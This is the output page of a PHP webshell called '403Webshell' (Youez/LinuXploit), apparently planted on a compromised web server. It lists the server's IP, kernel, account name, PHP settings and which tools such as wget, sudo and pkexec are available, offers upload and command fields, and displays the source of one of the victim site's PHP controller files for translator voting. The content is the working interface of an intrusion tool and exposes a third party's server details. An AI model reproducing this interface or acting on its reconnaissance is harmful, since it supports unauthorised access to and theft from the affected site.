403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/skip_test_voting_sentence12-dec-22-bak.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

include 'connection.php';

$data = array();
$data['status'] = 300;

$user_id = $_SESSION['tm_id'];

//ini_set('display_errors',1);
//error_reporting(E_ALL);

require_once('functions.test_voting.php');

$test_voting_obj = new Test_voting();

$test_voting_languages_ids_arr = $test_voting_obj->getTestVotingAllowedLanguagesIds();

$ttvsm_id = $_POST['ttvsm_id'];	

if ( isset($_SESSION['tm_language_id']) && in_array($_SESSION['tm_language_id'], $test_voting_languages_ids_arr) && isset($_SESSION['tm_id']) && isset($ttvsm_id) && $ttvsm_id > 0 ) {		
	
	$resultUpdateTtvsm = $test_voting_obj->skipUserTestSentneceVote($ttvsm_id, $user_id);
	
	if ($resultUpdateTtvsm == true) {
	
		$language_id = $_SESSION['tm_language_id'];	
		
		//get test voting level 
		$test_voting_level = $test_voting_obj->getTestVotingLevelByUserId( $user_id );	
		
		$assign_new_sentence_limit = 1;	
			
		//pick random voting sentences to assign it user
		$result_random_voting_sentences = $test_voting_obj->pickRandomVotingSentencesToAssignUser( $language_id, $assign_new_sentence_limit );
		
		//check there are enough sentences available for assign to user 
		if( $result_random_voting_sentences->num_rows > 0 ) {			
			
			while($row_voting_sentences = $result_random_voting_sentences->fetch_object()) {
				
				$sentence_id = $row_voting_sentences->id;	
				
				//assign voting sentences to user				
				$test_voting_obj->insertTranslatorTestVotingSentnecesMap( $user_id, $sentence_id, $test_voting_level );	
				
			}
			
			$data['status'] = 200;
			
		}	
		
	}	
		
}
echo json_encode($data);

Youez - 2016 - github.com/yon3zu
LinuXploit